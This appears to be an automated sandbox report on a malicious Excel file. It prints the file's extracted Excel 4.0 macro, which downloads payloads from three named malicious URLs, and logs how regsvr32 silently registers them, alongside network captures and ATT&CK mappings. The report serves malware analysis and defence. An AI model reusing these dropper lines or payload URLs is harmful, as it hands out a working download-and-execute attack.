486011410d80fc17aaa070ed2bbb0367419b79fb77da01d503f84fad4dffe342

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 22:55 UTC

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General

Target

486011410d80fc17aaa070ed2bbb0367419b79fb77da01d503f84fad4dffe342.xls
Size

46KB
MD5

8b65052cfc75035cea9fa038e3da2a54
SHA1

620871171c230d38bc48614992f4eb7366f41287
SHA256

486011410d80fc17aaa070ed2bbb0367419b79fb77da01d503f84fad4dffe342
SHA512

1e1e8ffb6fd4705da82eeff11f37216a11d2ee903f9174de8836fe0b1a7da7bb8d920cb18d1622d58909eee517d627172b26cc1a09837ce80b21140a31448f97
SSDEEP

768:pDMPKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+VQTUs77quK7KtGu6w:pYKpb8rGYrMPe3q7Q0XV5xtezE8vG8UW

Score

10^/10

discovery

Malware Config

Extracted

Language

xlm4.0

Source

1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://zktecovn.com/wp-admin/xxfnYY4zwOpFOgu3g1t/", "..\wdusx1.ocx")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://zacharywythe.com/pb_index_bak/SkEGB2c/", "..\wdusx2.ocx")
3
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://zonainformatica.es/aspnet_client/pVcppgi00Dk/", "..\wdusx3.ocx")

URLs

xlm40.dropper

https://zktecovn.com/wp-admin/xxfnYY4zwOpFOgu3g1t/

xlm40.dropper

http://zacharywythe.com/pb_index_bak/SkEGB2c/

xlm40.dropper

http://zonainformatica.es/aspnet_client/pVcppgi00Dk/

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2472	2112	regsvr32.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2344	2112	regsvr32.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2608	2112	regsvr32.exe	29

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2112	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2472	2112	EXCEL.EXE	31
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2344	2112	EXCEL.EXE	32
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33
PID 2112 wrote to memory of 2608	2112	EXCEL.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\486011410d80fc17aaa070ed2bbb0367419b79fb77da01d503f84fad4dffe342.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\SysWOW64\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\wdusx1.ocx
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:2472
- C:\Windows\SysWOW64\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\wdusx2.ocx
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:2344
- C:\Windows\SysWOW64\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\wdusx3.ocx
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:2608

Network

DNS

zktecovn.com

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

zktecovn.com

IN A

Response

zktecovn.com

IN A

103.110.87.36
GET

https://zktecovn.com/wp-admin/xxfnYY4zwOpFOgu3g1t/

EXCEL.EXE

Remote address:

103.110.87.36:443

Request

GET /wp-admin/xxfnYY4zwOpFOgu3g1t/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: zktecovn.com
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
link: <https://zktecovn.com/wp-json/>; rel="https://api.w.org/"
content-encoding: gzip
vary: Accept-Encoding
transfer-encoding: chunked
date: Wed, 20 Nov 2024 22:55:44 GMT
server: LiteSpeed
x-xss-protection: 1;mode=block
x-frame-options: SAMEORIGIN
referrer-policy: strict-origin-when-cross-origin
x-content-type-options: nosniff
x-powered-by: WPTangTocOLS
permissions-policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: Keep-Alive
DNS

r11.o.lencr.org

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

r11.o.lencr.org

IN A

Response

r11.o.lencr.org

IN CNAME

o.lencr.edgesuite.net

o.lencr.edgesuite.net

IN CNAME

a1887.dscq.akamai.net

a1887.dscq.akamai.net

IN A

88.221.134.137

a1887.dscq.akamai.net

IN A

88.221.134.89

a1887.dscq.akamai.net

IN A

88.221.135.105

a1887.dscq.akamai.net

IN A

88.221.135.115
GET

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgM8bmk8NiM6sFCZmd6yiQNRHQ%3D%3D

EXCEL.EXE

Remote address:

88.221.134.137:80

Request

GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgM8bmk8NiM6sFCZmd6yiQNRHQ%3D%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: r11.o.lencr.org

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: application/ocsp-response
Content-Length: 504
ETag: "3014725AE5ECD24A3DC6B0885C5B415FD9688144DB225B8419BD22C743668052"
Last-Modified: Mon, 18 Nov 2024 21:33:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21600
Expires: Thu, 21 Nov 2024 04:55:43 GMT
Date: Wed, 20 Nov 2024 22:55:43 GMT
Connection: keep-alive
DNS

zacharywythe.com

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

zacharywythe.com

IN A

Response

zacharywythe.com

IN A

192.250.237.63
GET

http://zacharywythe.com/pb_index_bak/SkEGB2c/

EXCEL.EXE

Remote address:

192.250.237.63:80

Request

GET /pb_index_bak/SkEGB2c/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: zacharywythe.com
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden

Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
content-type: text/html
content-length: 20
content-encoding: gzip
vary: Accept-Encoding,User-Agent
date: Wed, 20 Nov 2024 22:55:45 GMT
server: LiteSpeed
DNS

zonainformatica.es

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

zonainformatica.es

IN A

Response

zonainformatica.es

IN A

82.98.170.50
GET

http://zonainformatica.es/aspnet_client/pVcppgi00Dk/

EXCEL.EXE

Remote address:

82.98.170.50:80

Request

GET /aspnet_client/pVcppgi00Dk/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: zonainformatica.es
Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8
Location: https://zonainformatica.es/aspnet_client/pVcppgi00Dk/
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 20 Nov 2024 22:55:44 GMT
Content-Length: 176
GET

https://zonainformatica.es/aspnet_client/pVcppgi00Dk/

EXCEL.EXE

Remote address:

82.98.170.50:443

Request

GET /aspnet_client/pVcppgi00Dk/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Connection: Keep-Alive
Host: zonainformatica.es

Response

HTTP/1.1 404 Not Found

Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 20 Nov 2024 22:55:44 GMT
Content-Length: 1245
DNS

www.microsoft.com

Remote address:

8.8.8.8:53

Request

www.microsoft.com

IN A

Response

www.microsoft.com

IN CNAME

www.microsoft.com-c-3.edgekey.net

www.microsoft.com-c-3.edgekey.net

IN CNAME

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

IN CNAME

e13678.dscb.akamaiedge.net

e13678.dscb.akamaiedge.net

IN A

95.100.245.144
GET

http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

Remote address:

95.100.245.144:80

Request

GET /pkiops/crl/MicCodSigPCA2011_2011-07-08.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Mon, 03 Jun 2024 21:25:24 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.microsoft.com

Response

HTTP/1.1 200 OK

Content-Length: 1078
Content-Type: application/octet-stream
Content-MD5: PjrtHAukbJio72s77Ag5mA==
Last-Modified: Thu, 31 Oct 2024 23:26:09 GMT
ETag: 0x8DCFA0366D6C4CA
x-ms-request-id: d8b251ae-001e-0067-1bed-2b4716000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Wed, 20 Nov 2024 22:56:13 GMT
Connection: keep-alive
TLS_version: UNKNOWN
ms-cv: CASMicrosoftCV2c3f7533.0
ms-cv-esi: CASMicrosoftCV2c3f7533.0
X-RTag: RT
DNS

crl.microsoft.com

Remote address:

8.8.8.8:53

Request

crl.microsoft.com

IN A

Response

crl.microsoft.com

IN CNAME

crl.www.ms.akadns.net

crl.www.ms.akadns.net

IN CNAME

a1363.dscg.akamai.net

a1363.dscg.akamai.net

IN A

88.221.134.83

a1363.dscg.akamai.net

IN A

88.221.134.146
GET

http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

Remote address:

88.221.134.83:80

Request

GET /pki/crl/products/MicRooCerAut2011_2011_03_22.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 11 Jul 2024 01:45:51 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com

Response

HTTP/1.1 200 OK

Content-Length: 1036
Content-Type: application/octet-stream
Content-MD5: 8M9bF5Tsp81z+cAg2quO8g==
Last-Modified: Thu, 26 Sep 2024 02:21:11 GMT
ETag: 0x8DCDDD1E3AF2C76
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 37b0a847-001e-003a-4dc7-0f4d92000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Wed, 20 Nov 2024 22:56:14 GMT
Connection: keep-alive

103.110.87.36:443

https://zktecovn.com/wp-admin/xxfnYY4zwOpFOgu3g1t/

tls, http

EXCEL.EXE

1.5kB
23.6kB
17
24

HTTP Request

GET https://zktecovn.com/wp-admin/xxfnYY4zwOpFOgu3g1t/

HTTP Response

404
88.221.134.137:80

http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgM8bmk8NiM6sFCZmd6yiQNRHQ%3D%3D

http

EXCEL.EXE

521 B
2.0kB
6
4

HTTP Request

GET http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgM8bmk8NiM6sFCZmd6yiQNRHQ%3D%3D

HTTP Response

200
192.250.237.63:80

http://zacharywythe.com/pb_index_bak/SkEGB2c/

http

EXCEL.EXE

658 B
513 B
7
6

HTTP Request

GET http://zacharywythe.com/pb_index_bak/SkEGB2c/

HTTP Response

403
82.98.170.50:80

http://zonainformatica.es/aspnet_client/pVcppgi00Dk/

http

EXCEL.EXE

619 B
556 B
6
3

HTTP Request

GET http://zonainformatica.es/aspnet_client/pVcppgi00Dk/

HTTP Response

301
82.98.170.50:443

https://zonainformatica.es/aspnet_client/pVcppgi00Dk/

tls, http

EXCEL.EXE

1.1kB
4.6kB
9
8

HTTP Request

GET https://zonainformatica.es/aspnet_client/pVcppgi00Dk/

HTTP Response

404
95.100.245.144:80

http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

http

393 B
1.7kB
4
4

HTTP Request

GET http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

HTTP Response

200
88.221.134.83:80

http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

http

399 B
1.7kB
4
4

HTTP Request

GET http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

HTTP Response

200

8.8.8.8:53

zktecovn.com

dns

EXCEL.EXE

58 B
74 B
1
1

DNS Request

zktecovn.com

DNS Response

103.110.87.36
8.8.8.8:53

r11.o.lencr.org

dns

EXCEL.EXE

61 B
192 B
1
1

DNS Request

r11.o.lencr.org

DNS Response

88.221.134.137

88.221.134.89

88.221.135.105

88.221.135.115
8.8.8.8:53

zacharywythe.com

dns

EXCEL.EXE

62 B
78 B
1
1

DNS Request

zacharywythe.com

DNS Response

192.250.237.63
8.8.8.8:53

zonainformatica.es

dns

EXCEL.EXE

64 B
80 B
1
1

DNS Request

zonainformatica.es

DNS Response

82.98.170.50
8.8.8.8:53

www.microsoft.com

dns

63 B
230 B
1
1

DNS Request

www.microsoft.com

DNS Response

95.100.245.144
8.8.8.8:53

crl.microsoft.com

dns

63 B
162 B
1
1

DNS Request

crl.microsoft.com

DNS Response

88.221.134.83

88.221.134.146

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2112-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2112-1-0x000000007275D000-0x0000000072768000-memory.dmp

Filesize
44KB

Download
memory/2112-16-0x000000007275D000-0x0000000072768000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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Downloads

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